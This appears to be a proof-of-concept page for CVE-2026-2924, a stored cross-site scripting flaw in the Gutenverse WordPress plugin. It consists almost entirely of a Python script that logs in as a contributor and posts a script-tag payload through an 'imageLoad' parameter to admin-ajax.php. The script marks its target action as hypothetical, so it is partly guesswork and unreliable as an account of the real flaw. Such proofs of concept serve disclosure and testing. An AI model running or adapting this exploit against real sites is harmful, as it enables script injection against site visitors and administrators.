CVE-2026-2924 Gutenverse插件存储型XSS漏洞

# PoC for CVE-2026-2924 Stored XSS in Gutenverse Plugin # This PoC demonstrates how an authenticated contributor could inject # malicious JavaScript via the 'imageLoad' parameter. import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "contributor" password = "password" # 1. Authenticate and get cookies session = requests.Session() login_data = {"log": username, "pwd": password, "wp-submit": "Log In"} session.post("http://example.com/wp-login.php", data=login_data) # 2. Prepare Payload (XSS) # Injecting a simple alert via the vulnerable 'imageLoad' parameter xss_payload = '"><script>alert(1)</script>' # 3. Construct Exploit Request # Simulating a request to update a block or post setting post_data = { "action": "gutenverse_save_block", # Hypothetical action based on plugin structure "imageLoad": xss_payload, # Vulnerable parameter "post_id": "1" } response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the post page to trigger XSS.") else: print("[-] Injection failed.")